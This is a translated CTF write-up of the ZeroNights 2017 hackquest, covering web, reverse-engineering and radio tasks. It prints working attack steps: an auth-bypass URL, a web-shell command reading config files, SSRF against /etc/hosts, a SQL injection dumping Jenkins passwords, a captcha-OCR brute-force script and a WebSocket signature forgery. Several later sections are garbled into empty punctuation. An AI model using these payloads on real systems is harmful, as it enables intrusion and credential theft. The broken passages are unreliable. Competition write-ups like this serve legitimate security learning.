Seven days and seven interesting tasks are the most comprehensive description of the annual hakquest in front of Zeronights. This year, the tasks were more varied, which made the quest interesting for more participants. After reading this article, you can familiarize yourself with the solution of all tasks, as well as find out the names of the winners.
The first day began with the classic Web. The task from ONSEC consisted of exploiting vulnerabilities such as partial authorization bypass, command injection, sql injection, SSRF. Consistently using each of them, you could get the rce and read the flag. About 1800 people tried to solve this task.
Winners | ||
1 place | 2nd place | 3rd place |
| | |
Also decided: ilyaluk
, raz0r
, akamajoris
, kurlikasd
, poneev
, shvetsovalex007
, leon+zeronights
, mohemiv
Try to save a company from the ICC, and consequent loss of money.
http://zeroevening.org
The site with the task is an almost empty page. From interesting - only html comment.
<!-- updated page via bitbucket 23.10.2017 --> http://bitbucket.zeroevening.org/
We find a subdomain with bitbucket v4.7.1, which is vulnerable to partial authorization bypass .
http://bitbucket.zeroevening.org/admin%20/server-settings
From the settings, we learn about the git-admintools.zeroevening.org
subdomain, on which the script is located that allows you to make git clone --recursive
at an arbitrary URL. Files are saved to the /repos/%repo_name%/.
web directory /repos/%repo_name%/.
This task was supposed to use CVE-2017-1000117
, but I went a simpler way and copied the project with a bunch of PayloadsAllTheThings ready-made PayloadsAllTheThings
. It turned out that the pht
and phtml
were not blocked and I immediately received a ready shell.
http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.pht http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.phtml
Read the config.php
and go to the next subdomain.
http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/Shell.phtml?cmd=cat+/var/www/html/config.php
http://dev-cyberplatform-ico.zeroevening.org/?url=ops.jpg
On this site, using the url
parameter, you can make SSRF and reading arbitrary files, the result falls on the page as a base64 image. I spent quite a lot of time looking for source code or configs until I came across /etc/hosts
.
http://dev-cyberplatform-ico.zeroevening.org/?url=/etc/hosts
172.18.0.3 83c994f72770
We try the neighboring IP
and find the script with SQL Injection
.
http://dev-cyberplatform-ico.zeroevening.org/?url=http://172.18.0.2/user.php?username=root%27=0%2bunion%2bselect%2b1,load_file%28%27/var/www/html/install.php%27%29,3,4β%2b-
Read install.php
and find the passwords for jenkins.
mysql_query("INSERT INTO users (login,pass,status) VALUES ('root', MD5('toor'), 'admin');"); mysql_query("DROP TABLE jenkins_users"); mysql_query("CREATE TABLE jenkins_users ( username TEXT, password TEXT );"); mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bomberman', 'HVQ8UijXwU)');"); mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('cyberpunkych', 'DC8800_553535_proshe_pozvonitb_chem_y_kogo_to_zanimatb');"); mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bo0om', 'Hipe4Money')"); mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('jbfc', 'InBieberWeTrust')");
We find the jenkins subdomain, log in under bomberman and get RCE.
http://jenkins.zeroevening.org/computer/(master)/script
We find the flag, we pass it and ... nothing happens, because there was a typo in the flag that lay on the server. I thought it was some kind of trolling and the task needed to pick even deeper, but, finding nothing, I went to sleep. In the end, it was still the first and got an invite.
The second day consisted of a big task from R0crew to reverse engineering. It was necessary to deal with several layers of the "packaging" binary file. The original file was a virtual machine running inside the executable file in the Go language. In total, the file was downloaded more than 250 times.
Winners | |
1 place | 2nd place |
| |
Your friend works in an antivirus company. He worked on the test.
We are given an archive with the ELF x86_64 executable file " petrovavlic
". Without thinking, we open it in IDA, and we see that it is packed with UPX 3.94. UPX itself cannot unpack it, the author has cut out the section names. Some way we unpack it, for example, by restoring names, and continue.
The lines from the unpacked file immediately clear that it is written in Go. From them and learn about the author of the job.
00000fb0: 2800 0000 0400 0000 476f 0000 3766 6661 (.......Go..7ffa 00000fc0: 3865 6437 3736 6134 3236 3237 3165 3864 8ed776a426271e8d 00000fd0: 6664 3937 3062 3530 6330 3163 6637 3666 fd970b50c01cf76f
0024e7e0: 44eb 0900 2f68 6f6d 652f 6b72 656f 6e2f D.../home/kreon/ 0024e7f0: 476f 676c 616e 6450 726f 6a65 6374 732f GoglandProjects/ 0024e800: 7461 736b 3230 302f 766d 2e67 6f00 002f task200/vm.go../ 0024e810: 686f 6d65 2f6b 7265 6f6e 2f47 6f67 6c61 home/kreon/Gogla 0024e820: 6e64 5072 6f6a 6563 7473 2f74 6173 6b32 ndProjects/task2 0024e830: 3030 2f6d 6169 6e2e 676f 0000 2f68 6f6d 00/main.go../hom ...
Binary postriplen - standard debug information is missing. Fortunately, Go for reflection in the .gopclntab
section saves the names of all functions, and it is easy to find ready-made scripts to restore them, for example, this one .
All names are restored - we head straight to main.main
.
Side note: golang uses a nonstandard calling convention. In x86_64, only one is standard, fastcall . In golang, registers are not used to pass parameters, and return values ββ(there may be more than one QWORD) are put on the stack. This causes some inconvenience when using Hex-Rays
There is approximately this:
main.__pre__start() fmt.Println("PetrovAntivirus Activator") fmt.Print( "Please enter a valid email: ") bufio._p_Reader_.ReadString(email) main.__check__email(email) fmt_Print( "Please enter an activation key: ") bufio._p_Reader_.ReadString(key) main.__check__key(key) table = main.__gen__table(email, key) main.__check_key_e(email, key, table)
We will sort the calls in order.
main.__pre__start()
: signal handlers are installed and several SYS_ptrace
system calls SYS_ptrace
with the PTRACE_TRACEME
parameter. Thus, including, it becomes impossible to debug a binary. For normal debug, you can cut out the installation of signals and system calls. Why can't I just cut the main.__pre__start()
call? To obtain system call numbers, the main._p_syscall__table.__get__syscall__id
function is used, which contains a large switch. It looks at the current value of the system call, determines the next one and saves it. Thus, if you do not call this function once, all its further results will be invalid.
main.__check__email(email)
: mail is simply checked for a normal view.
main.__check__key(key)
: verifies that the key has the form XXXX-XXXX-XXXX-XXXX-XXXX-XXXX
, where X
is [0-9A-Z]
.
main.__gen__table(email, key)
: here the first difficulties begin. The sum of 5 and 6 key blocks ( ord(key[0]) + ...
) is calculated, MD5 mail is also calculated, and this hash is not used in any way . A sprintf("%02X%02X", ...)
is done for email[0:1]
and email[4:5]
, then for these 4-character lines, the amounts are calculated according to the same principle. Then the result is calculated, a pair of numbers
syscall_id_1 = main__p_syscall__table____get__syscall_id(&a1); syscall_id_2 = main__p_syscall__table____get__syscall_id(&a1); table[0] = Part5_sum + 4 * syscall_id_1 * syscall_id_2 + EMAIL__0_1_sum; syscall_id_3 = main__p_syscall__table____get__syscall_id(&a1); syscall_id_4 = main__p_syscall__table____get__syscall_id(&a1); table[1] = Part6_sum& + 2 * syscall_id_3 * syscall_id_4 + EMAIL__4_5_sum;
Thus, in the calculation of some two numbers involved email and the last 2 blocks of the key.
And here we come to the main function: main.__check_key_e(email, key, table)
. Almost the very first line goes such a call github_com_Shopify_golua_NewState();
. The name speaks for itself, it is a module for the execution of Lua in Go . Thus, somewhere in the binar there is a Lua verification script hidden.
Next, in the course of the function, you need to select the calls github_com_Shopify_golua__p_State__Register
, which register external functions written on Go in the Lua virtual machine. There are 4 such external functions: getkey - getting the key in the form of 6 blocks, getmail - getting an email, goodkey - a message of success, badkey - about failure. After this, github_com_Shopify_golua__p_State__Load(...)
occurs and immediately after it github_com_Shopify_golua__p_State__ProtectedCall(...)
, that is, the verification script is launched.
Where does the verification script come from? The go-lua source code says that the first argument in Load
io.Reader
, from which the script is read. io.Reader
is an interface in which there is just one method: Read
. Looking for functions with _Read
in the name, we find an interesting _home_kreon_GoglandProjects_task200_eblob__p_BlobReader__Read
. Its full code with minor changes:
__int64 __usercall _home_kreon_GoglandProjects_task200_eblob__p_BlobReader__Read@<rax>(_QWORD *a1, _BYTE *a2, unsigned __int64 a3) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] v3 = qword_6B69F8; v4 = a1[2] - a1[4]; if ( (signed __int64)a3 <= v4 ) v4 = a3; for ( i = 0LL; (signed __int64)i < v4; ++i ) { v6 = a1[4]; j = v6 + *a1; if ( j >= qword_6AF6A8 || (v8 = EncBlob[j], k = a1[1] + v6, k >= qword_6AF6A8) || (v10 = EncBlob[k] ^ v8, i >= a3) ) runtime_panicindex(a2, a3, a1); a2[i] = v10; ++a1[4]; } if ( a1[4] >= a1[2] ) result = v3; else result = 0LL; return result; }
It can be seen that a[0]
and a[1]
are some offsets in EncBlob
, in which there are 2 arrays. In the loop, successive elements from these arrays are taken and are being copied. It is logical to assume that the script is hidden in this array.
To search for a script, you can loop through all possible offsets, use a couple of numbers from these addresses, and look at the result. We already know that in the script the functions goodkey
and badkey
, you can search for the DWORD 'good'
and find the necessary offsets: 23620 and 195814 (which was the third hint). You may also notice that before calling Load
, a Reader
object is created, in which our results __gen__table
written to [0]
and [1]
. This means that for the values ββcalculated in __gen__table
values ββare known as they should be, therefore this is also a key verification.
local KEY = getkey() local MAIL = getmail() local keypart_sums = {} local M = {} local keypart_it = 1 local MAIL_extended = "" local MAIL_ext_sums = {1,1,1,1} keypart_it = 1 for i=1,4 do local keypart_sum = 0 local keypart_len = 0 for c=1,KEY[i]:len() do keypart_sum = keypart_sum + KEY[i]:byte(c) keypart_len = keypart_len +1 end if keypart_len ~= 4 then return badkey() end keypart_sums[keypart_it] = keypart_sum keypart_it = keypart_it +1 end for i=1,4 do for j=1,4 do M[(i - 1) * 4 + j] = (keypart_sums[i] + keypart_sums[j]) % 169 end end while string.len(MAIL_extended) < 64 do MAIL_extended = MAIL_extended .. MAIL end keypart_it = 1 local MAIL_ = 1 for c=1,64 do MAIL_ext_sums[MAIL_] = MAIL_ext_sums[MAIL_] + MAIL_extended:byte(c) MAIL_ = MAIL_ + 1 keypart_it = keypart_it + 1 if MAIL_ == 5 then MAIL_ = 1 end end for i=1,4 do MAIL_ext_sums[i] = MAIL_ext_sums[i] % 13 end keypart_it = 1 for i=1,16,5 do M[i] = MAIL_ext_sums[keypart_it] keypart_it = keypart_it + 1 end local v________ = {} for i=1,4 do s = 0 for j=1,4 do s = s + M[(j - 1)*4 + i] end v________[s] = 1 end local pairs_num = 0 for k,v in pairs(v________) do pairs_num = pairs_num + 1 end if pairs_num == 1 then goodkey() else badkey() end
In short, the script also considers the sums of the character codes, adds to each other in a 4x4 matrix, writes the sums of the character codes to the email, and verifies that the sums of the matrix columns are equal to each other.
We have all the checks. To generate a key with their help, you can use z3 . The full script lies in keygen.py
, in it we create a symbolic key and add all found restrictions to the solver, then z3
selects the system solution for us.
import sys sys.path.append(r'C:\tools\z3-4.5.0-x64-win\bin\python') from z3 import * init(r'C:\tools\z3-4.5.0-x64-win\bin') mail = 'zn2017@reverse4you.org' cons = True def add_con(con): global cons cons = And(cons, con) key = [[Int('key_{}_{}'.format(i, j)) for j in range(4)] for i in range(6)] # for i in range(len(key)): # add_con((key[i][0] + key[i][1] + key[i][2]) % 5 == key[i][3] % 3) for i in range(len(key)): for j in range(len(key[i])): add_con( Or( And(key[i][j] >= ord('0'), key[i][j] <= ord('9')), And(key[i][j] >= ord('A'), key[i][j] <= ord('Z')))) keypart_sums = [sum(key[i]) for i in range(len(key))] m = [[None for j in range(4)] for i in range(4)] for i in range(4): for j in range(4): m[i][j] = (keypart_sums[i] + keypart_sums[j]) % 169 mail_ext = (mail * 100)[:64] mail_sums = [sum(map(ord, mail_ext[i::4]), 1) % 13 for i in range(4)] for i in range(4): m[i][i] = mail_sums[i] col_sums = [sum(m[j][i] for j in range(4)) for i in range(4)] add_con(col_sums[0] == col_sums[1]) add_con(col_sums[1] == col_sums[2]) add_con(col_sums[2] == col_sums[3]) add_con(sum(map(ord, '%02X%02X' % (ord(mail[0]), ord(mail[1])))) + 0x5A1C + keypart_sums[4] == 0x5C44) add_con(sum(map(ord, '%02X%02X' % (ord(mail[4]), ord(mail[5])))) + 0x2FABE + keypart_sums[5] == 0x2FCE6) # print(cons) cons = simplify(cons) # print(cons) s = Solver() s.add(cons) print(s.check()) model = s.model() print('-'.join(''.join(chr(model[key[i][j]].as_long()) for j in range(4)) for i in range(6)))
On the third day, the participants were again waiting for the Web (task from SibearCTF). At the beginning, the task might have seemed easy, however, as it turned out later, the captcha and password brute-force stopped everyone except one participant, who became the winner. A total of 480 people tried to solve the rear.
Winner | |
1 place | |
|
The competition is not over yet. You still have the opportunity to get the flag: http://zeronights.sibirctf.org/2017/
Login form is protected with simple captcha. Wrote simple script using pytesseract https://github.com/madmaze/pytesseract to recognize captcha and bruteforce login form. After 10 minutes got the password for one of the approved team account.
import sys import io import re import requests import pytesseract from PIL import Image from multiprocessing import Pool def get_cap(): URL = "http://zeronights.sibirctf.org/2017/sign_up" CAP_URL = "http://zeronights.sibirctf.org/captcha/image/" r = requests.get(URL) res = r.text h = re.findall("/captcha/image/([a-f0-9]+)/", res)[0] img_f = io.BytesIO(requests.get(CAP_URL+h+"/").content) c = pytesseract.image_to_string(Image.open(img_f), config="./tesseract.config") return (h, c) def brute(x): URL = "http://zeronights.sibirctf.org/2017/login" email = "keva_a78ff3@sibirctf.org" h, c = get_cap() r = requests.post(URL, data={ "_username": email, "_password":str(x), "captcha_0": h, "captcha_1": c }) if (r.status_code) != 400: print(email, x) sys.exit(0) pool = Pool(10) pool.map(brute, range(1000,10000)) pool.close() pool.join()
var my_user_id = 4, my_sign = "d3d9446802a44259755d38e6d163e820";
There was two possible message types: "new" - subscribe to new messages and "send" - send the message to somebody. It was decided to use it as a signature for md5 ('1') as a signature.
var uid = 1; var sign = 'c4ca4238a0b923820dcc509a6f75849b'; ws = new WebSocket("ws://13.93.88.79:8001/"); ws.onmessage = function(e) { try { console.log(JSON.parse(e.data)) } catch(Exception ) { console.log((e.data)) } } ws.onopen = function(){ ws.send(JSON.stringify({ 'type': 'new', 'userid': uid, 'signature': sign })); };
w0w_c0n6r47ul4710n_m337_47_z3r0n16h75
The fourth day was a chain of tasks of increasing complexity from R0crew. The first link of the chain was the easiest and 20 people were able to pass it. The second link turned out to be for 6 people, and only four reached the solution of the last. A detailed description of each stage can be found under the spoiler.
Winners | ||
1 place | 2nd place | 3rd place |
| | |
Also decided: Aleksey Cherepanov
You are welcome to join the engineers lodge of reverse engineers. But it's not so simple. You must complete the initiation and solve 4 tasks in one day. Good luck! You will find us in the telegram (@remasonry_bot)
There is a PE32 exe
file. Lines:
We give user_id and some password, see what the program does with them.
Change the contents of bytesUserId
to "I'm ready!!!!"
(let's not forget, update the buffer size for DIV EBX) and patch the program a bit.
After executing the loop, szSalt
contains our password.
There is a program for unpacking archives of unknown format and a set of files that need to be packaged into such an archive.
No obfuscation, protection and other things, very simple format. I will give his description.
For this information it is easy to write a packer.
Do not forget about the limit of 1 megabyte, so that all duplicate files are saved only once in FD
.
Program for reading:
import struct data = open('2017.zn', 'br').read() position = 0 lst_position = 0 def read_dword(): global data, position, lst_position value = struct.unpack('<L', data[position:position + 4])[0] lst_position = position position += 4 return value def read_raw(n): global data, position, lst_position value = data[position:position+n] lst_position = position position += n return value magic = read_dword() print('%04x' % lst_position, 'magic'.rjust(20, ' '), hex(magic)) version = read_dword() print('%04x' % lst_position, 'version'.rjust(20, ' '), hex(version)) student_pack = read_raw(12) print('%04x' % lst_position, 'student_pack'.rjust(20, ' '), student_pack) FILE_END_OFFSET = read_dword() print('%04x' % lst_position, 'FILE_END_OFFSET'.rjust(20, ' '), hex(FILE_END_OFFSET)) ZN3_SIZE = read_dword() print('%04x' % lst_position, 'ZN3_SIZE'.rjust(20, ' '), hex(ZN3_SIZE)) ZN1_AND_ZN3_SIZE = read_dword() print('%04x' % lst_position, 'ZN1_AND_ZN3_SIZE'.rjust(20, ' '), hex(ZN1_AND_ZN3_SIZE)) ZN2_OFFSET = read_dword() print('%04x' % lst_position, 'ZN2_OFFSET'.rjust(20, ' '), hex(ZN2_OFFSET)) ZN0_OFFSET = read_dword() print('%04x' % lst_position, 'ZN0_OFFSET'.rjust(20, ' '), hex(ZN0_OFFSET)) data = data[position:] ZN3_OFFSET = 0 ZN3_SIZE = ZN3_SIZE ZN1_OFFSET = ZN3_OFFSET + ZN3_SIZE ZN1_SIZE = ZN1_AND_ZN3_SIZE - ZN3_SIZE FD_OFFSET = ZN3_OFFSET + ZN1_AND_ZN3_SIZE FD_SIZE = ZN2_OFFSET - ZN1_AND_ZN3_SIZE #ZN2_OFFSET ZN2_SIZE = ZN0_OFFSET - ZN2_OFFSET #ZN0_OFFSET ZN0_SIZE = FILE_END_OFFSET - ZN0_OFFSET print('ZN3', hex(ZN3_OFFSET), hex(ZN3_SIZE)) # folder - folder descriptors print('ZN1', hex(ZN1_OFFSET), hex(ZN1_SIZE)) # file - folder descriptors print('FD', hex(FD_OFFSET), hex(FD_SIZE)) # DATA print('ZN2', hex(ZN2_OFFSET), hex(ZN2_SIZE)) # filename descriptors print('ZN0', hex(ZN0_OFFSET), hex(ZN0_SIZE)) # filedata descriptors for i in range(ZN3_OFFSET, ZN3_OFFSET + ZN3_SIZE, 0xC): print(struct.unpack('<LLL', data[i:i+0xC])) print('separator1') for i in range(ZN0_OFFSET, ZN0_OFFSET + ZN0_SIZE, 0xC): print(struct.unpack('<LLL', data[i:i+0xC])) print('separator2')
Program for packaging:
import struct import os magic = 0x30324e5a version = 0x3731 FOLDERS = [] FOLDERS_mirr = [] FILES = [] FILENAMES = [] FILENAMES_real = [] FILEDATAINFO = [] FILEDATA = b'' TARGET_FOLDER = 'pack_me' FOLDERS_mirr += [TARGET_FOLDER] FILES_mirr = [] for dirname, dirnames, filenames in os.walk(TARGET_FOLDER): for subdirname in dirnames: FOLDERS += [(len(FOLDERS) + 1, FOLDERS_mirr.index(dirname), len(FILENAMES))] FOLDERS_mirr += [dirname + '\\' + subdirname] FILENAMES += [(dirname + '\\' + subdirname, 1)] for dirname, dirnames, filenames in os.walk(TARGET_FOLDER): for flnm in filenames: FILES += [(len(FILES), FOLDERS_mirr.index(dirname), len(FILENAMES))] FILES_mirr += [dirname + '\\' + flnm] FILENAMES += [(dirname + '\\' + flnm, 0)] for idx, x in enumerate(FILENAMES): fn = FILENAMES[idx][0].split('\\')[-1] FILENAMES_real += [(idx, len(fn), fn.encode('utf-8'))] for idx, x in enumerate(FILENAMES): if x[1] == 0: fdata = open(x[0], 'rb').read() if fdata not in FILEDATA: FILEDATA += fdata offset = FILEDATA.index(fdata) fsize = len(fdata) FILEDATAINFO += [(FILES_mirr.index(x[0]), offset, fsize)] zn_new_offset = [0 for i in range(5)] zn_new_size = [0 for i in range(5)] DATA = b'' for x in FOLDERS: DATA += struct.pack('<LLL', *x) zn_new_size[3] = len(DATA) zn_new_offset[1] = len(DATA) for x in FILES: DATA += struct.pack('<LLL', *x) zn_new_size[1] = len(DATA) - zn_new_offset[1] zn_new_offset[4] = len(DATA) DATA += FILEDATA zn_new_size[4] = len(DATA) - zn_new_offset[4] zn_new_offset[2] = len(DATA) for x in FILENAMES_real: DATA += struct.pack('<LL', x[0], len(x[2])) + x[2] zn_new_size[2] = len(DATA) - zn_new_offset[2] zn_new_offset[0] = len(DATA) for x in FILEDATAINFO: DATA += struct.pack('<LLL', x[0], x[1], x[2]) zn_new_size[0] = len(DATA) - zn_new_offset[0] print([hex(d) for d in zn_new_offset], [hex(d) for d in zn_new_size]) FILE_END_OFFSET = zn_new_offset[0] + zn_new_size[0] ZN3_SIZE = zn_new_size[3] ZN1_AND_ZN3_SIZE = zn_new_size[3] + zn_new_size[1] ZN2_OFFSET = zn_new_offset[2] ZN0_OFFSET = zn_new_offset[0] HEADER = struct.pack('<LL', magic, version) + TARGET_FOLDER.encode('utf-8') + b'\x00' + struct.pack('<LLLLL', FILE_END_OFFSET, ZN3_SIZE, ZN1_AND_ZN3_SIZE, ZN2_OFFSET, ZN0_OFFSET) open('new.zn', 'wb').write(HEADER + DATA)
The task, according to the organizer, was with a bug, so everyone was just told the answer.
We will analyze it too.
There is an apk
file that is waiting for the input of some line
We will restore the verification algorithm.
import java.math.BigInteger; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class Main { //private static final String base64chars = "A2CTEFGHnJKLMNsPQ7SDlVvXYZabcdefghijkUmIopqrOtuWwxyz01B3456R89+/"; private static String CalcMD5(String paramString) throws NoSuchAlgorithmException { MessageDigest localMessageDigest = MessageDigest.getInstance("MD5"); localMessageDigest.update(paramString.getBytes(), 0, paramString.length()); return new BigInteger(1, localMessageDigest.digest()).toString(16); } // private static long Random(long paramLong) { return (0xFFFFFFF & 11L + 252149039L * paramLong) >> 8; } private static long RandomSkip50(long paramLong) { for (int i = 0; i < 50; i = i + 1) { paramLong = Random(paramLong); } return paramLong; } private static String RandomGetString(String paramString, long paramLong) { String str = ""; for (int i = 0; i < 32; i++) { paramLong = Random(paramLong) & 0xFF; str += paramLong ^ paramString.charAt(i); } return str; } public static void main(String[] args) throws NoSuchAlgorithmException { String str = "INPUT_HASH_HERE"; // CalcMD5("SuperAndroidChallenge"); // baaee25a694971ac1e6dde4b2e8b1386 String[] arrayOfString = new String[500]; for (int i = 0; i < arrayOfString.length; i++) { arrayOfString[i] = RandomGetString(str, RandomSkip50(i)); } int j = 0; for (int k = 0; k < arrayOfString.length; k++) { j += arrayOfString[k].length(); } if (j == 40762) { System.out.println("OK"); } } }
First of all, we will try to find a hash that will pass the control check.
The verification algorithm is reduced to the summation of the length of a certain set of lines (500 pieces).
Each line is generated as a concatenation of thirty-two decimal numbers, each of which is the xor of the gamma and one hash character (in string representation, lower case).
Note that the gamma does not depend on the hash, so that it can be considered constant (depends only on the row and column).
It can be calculated in advance and saved to a file. Get a table of 500x32 elements.
Below, for example, are the first few rows of the table.
Obviously, the decimal number after xor with a hash symbol can be 1, 2 or 3 lengths.
Knowing that hash characters can only take values ββfrom the [a-f0-9]
range, it is possible to uniquely determine the length of the resulting decimal number in some positions, while in others it can be reduced to exactly two options (confirmed in practice).
We transform the table so that its elements are lists of the possible length of the resulting decimal number.
At this stage, the control number 40762 is the sum of the values ββof the entire table.
It is clear that you can easily subtract from the control number the minimum of each element (which is a list) of the table, without forgetting to reduce the corresponding values ββof the list itself. Now the control number is 3449. A table will consist of two types of elements: [0]
and [0, 1]
.
Consider one column of such a table. Let's try to present all possible combinations of elements [0, 1]
. It is clear that there are impossible options that cannot be obtained by fixing the hash letter. Therefore, during the search for a solution, it is necessary to use only valid arrangements 0
or 1
.
We fix a hash letter in a certain position (from 0 to 31, inclusive), so the entire column of the table corresponding to this position will take on unambiguous values. Sum up the column and write to the list (no repetitions). Repeat this operation for all other possible hash characters.
.
[100, 103, 94, 102, 97, 98, 95] [109, 123, 108, 115, 114, 111, 112] [103, 116, 122, 114, 95, 93, 97, 112, 119] [121, 100, 107, 125, 105, 124, 90, 104, 120] [100, 101, 103, 87, 105, 102, 91, 95] [121, 109, 123, 126, 110, 102, 118, 90, 119] [100, 101, 128, 82, 119, 118, 88, 134, 130] [121, 127, 106, 122, 97, 112, 88, 119] [103, 116, 92, 111, 112, 110, 88] [128, 81, 80, 92, 90, 104, 91, 131, 95] [123, 127, 126, 93, 102, 104, 124, 98] [117, 133, 100, 123, 108, 142, 96, 119] [117, 109, 133, 103, 93, 112, 110, 88, 134] [75, 71, 101, 129, 116, 110, 102, 91, 130] [98, 87, 94, 93, 148, 86, 149] [100, 158, 103, 90, 88, 83, 95] [87, 84, 86, 90, 88, 89, 145] [100, 101, 103, 150, 93, 151, 89, 95] [117, 108, 105, 166, 165, 111, 93, 96] [117, 100, 107, 150, 114, 90, 110, 83, 149] [117, 99, 116, 114, 112, 152, 88, 96, 154] [108, 101, 103, 99, 153, 111, 102, 156] [117, 176, 101, 99, 80, 122, 96, 167] [77, 117, 140, 138, 102, 86, 118] [101, 99, 158, 159, 104, 102, 90, 96, 95] [109, 101, 115, 84, 111, 143, 90] [107, 82, 168, 161, 102, 90, 96, 98, 95] [71, 108, 158, 94, 85, 86, 162, 88, 106] [75, 71, 80, 94, 92, 93, 148, 91] [100, 99, 150, 93, 155, 83, 95] [133, 109, 142, 87, 113, 94, 93, 85, 91] [74, 135, 76, 80, 94, 92, 88, 149]
Β« Β», 3449, .
Z3 (SMT ).
from z3 import * STUFF = [[100, 95, 98, 94, 102, 97, 103], β¦ [88, 74, 76, 92, 80, 149, 94, 135]] s = Solver() chars = [] for i in range(len(STUFF)): chxr = Int('c_%d' % i) s.add(Or([chxr == STUFF[i][j] for j in range(len(STUFF[i]))])) chars += [chxr] s.add(Sum(*chars) == 3449) while s.check() == sat: mod = s.model() d = [mod[Int('c_%d' % i)] for i in range(32)] print(d) s.add(Not(And([Int(str(xx)) == mod[xx] for xx in mod])) )
, 18 .
.
, , :
[100, 123, 122, 125, 105, 126, 134, 127, 116, 131, 127, 117, 134, 116, 149, 103, 84, 89, 93, 83, 88, 99, 80, 77, 90, 143, 107, 71, 148, 83, 85, 74]
, :
^[6789][89][45][01][89][89][89][89][0123][f][01][23][de][01][de][a][23][bc][89][bc][bc][bc][89][bc][bc][def][a][89][def][89][bc][45]$
Examples:
684088880f02d0da2b8bbb8ccfa9e9c4 684088880f02d0da2b8bbb8ccfa9e9c5 684088880f02d0da2b8bbb8ccfa9f8b4 684088880f02d0da2b8bbb8ccfa9f8b5 684088880f02d0da2b8bbb8ccfa9f8c4 684088880f02d0da2b8bbb8ccfa9f8c5 684088880f02d0da2b8bbb8ccfa9f9b4
: , md5 .
exe Python.pyc
.
, CreateProcessW
, CreationFlags
, .
, pyc .
, , .
.
( dll
), PyObject_RichCompare
( stderr
) .
Code:
typedef void PyObject; typedef void (CDECL * _PyObject_Dump)(PyObject *o1); _PyObject_Dump PyObject_Dump; PHOOK hook1; PyObject* CDECL xPyObject_RichCompare(PyObject *o1, PyObject *o2, int opid) { PyObject* result = ((PyObject*(CDECL*)(PyObject*,PyObject*,int))hook1->original)(o1, o2, opid); PyObject_Dump(o1); PyObject_Dump(o2); return result; } typedef PyObject*(CDECL * PyObject_RichCompare)(PyObject *o1, PyObject *o2, int opid); void hackFunctions() { PyObject_Dump = (_PyObject_Dump)GetProcAddress(GetModuleHandleA("python27.dll"), "_PyObject_Dump"); hook1 = HookFunction(GetProcAddress(GetModuleHandleA("python27.dll"), "PyObject_RichCompare"), xPyObject_RichCompare); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { switch (reason) { case DLL_PROCESS_ATTACH: hackFunctions(); } return TRUE; }
re_task.exe
.
( data.txt
, ).
, re.sub
None
.
- ( LabyREnth 2016 ), . - PlaidCTF 2015 .
, .
.
nooyhtortroornehopetrotnnrenohtopyeohnoeyonyrherpo teptooeonoohptppeoprtphprthrhpnnyyprrpnhepoportppr enppeoernnehtynrotyynerttoyeeteepepohhoyrptnhponro tpehooeonptnophoyphnp
( task2.py
, task2_packer.py
, re_task.pyc
) ZN2017.7zβ .
Hackquest' Digital Security . 100 .
Winners | |
1 | 2 |
| |
Yo dude! Our insider in NSA had set up some strange BUG in the printer. Nobody has seen him since then. His last message was: "They are communicating via strange devices on 2.4". We tried to understand, but failed horrobly. Now it is your turn to figure out what is going on.
The insider gave us access to the BUG: 35.195.97.218:31337 with password "antiNSAradiospy"
Universal Radio Hacker (URH) . .
:
ncat 35.195.97.218 31337 Hey you're entering into secure zone. Enter Password:
:
Hello! This is NSA_sup3r_r4d1o_h4ck1ng_spy_d3v1c3. Select frequency. Available frequencies (MHz) is: 2401, 2402, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2410
"" , . 2401 :
ncat 35.195.97.218 31337 > 2401_rawdump antiNSAradiospy 2401
2401_rawdump
:
18M Nov 2 13:14 2401_rawdump 19M Nov 2 13:14 2401_rawdump 20M Nov 2 13:14 2401_rawdump 21M Nov 2 13:14 2401_rawdump 22M Nov 2 13:14 2401_rawdump 24M Nov 2 13:14 2401_rawdump 27M Nov 2 13:14 2401_rawdump 30M Nov 2 13:14 2401_rawdump
30 , .
, , - SDR
. , .
SDR
, IQ
.
, - . hex
URH
, . β Noize
.
Noze 0.5500
, :
. , URH. 8 . Bit Length
8
.
( Signal View -> Demodulated
).Center
, , , .
Show Signal as
Hex
:
3c6aaccaaccaaccce2a3434b99034b9903434b73a1031b430b73732b610938000000000000000002c93bc2 [Pause: 1571 samples] 3c055665566556667951a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b89c000000000000000151df85 [Pause: 1183 samples] f82ab32ab32ab333ca8d0d2e640d2e640e8cae6e840dacae6e6c2ceca5c5c4e0000000000000000a8efc28 [Pause: 1166 samples] 3c655665566556667951a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b89c000000000000000151df85 [Pause: 1564 samples] 3c555995599559998546869732069732074657374206d6573736167652e2e000000000000000000544ebd4 [Pause: 1167 samples] 3e0aaccaaccaacccc2a3434b99034b9903a32b9ba1036b2b9b9b0b3b297170000000000000000002a275ea [Pause: 1167 samples] 3c655665566556666151a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b8000000000000000001513af5 [Pause: 203907 samples] 3c355665566556666949a59da1d081dd85e4848151c9e481a0d1c990cdc88484840000000000000150453d [Pause: 1167 samples] 3c2aaccaaccaacccd2934b3b43a103bb0bc90902a393c90341a393219b9109090800000000000002a08a7a [Pause: 1166 samples] 3c2aaccaaccaacccd2934b3b43a103bb0bc90902a393c90341a393219b9109090800000000000002a08a7a [Pause: 1565 samples] 3c35566556655666710da1958dac8185b9bdd1a195c8818da185b9b995b1cc840000000000000001492655 [Pause: 1167 samples] 3c45566556655666710da1958dac8185b9bdd1a195c8818da185b9b995b1cc840000000000000001492654 [Pause: 1166 samples] 3c0aaccaaccaaccce21b432b1b59030b737ba3432b91031b430b73732b6399080000000000000002924caa [Pause: 1585 samples] 3c35566556655666790d85b881dd9481d185b1ac818589bdd5d081cd958dd5c9a5d1e4fc000000010fa411 [Pause: 1166 samples] 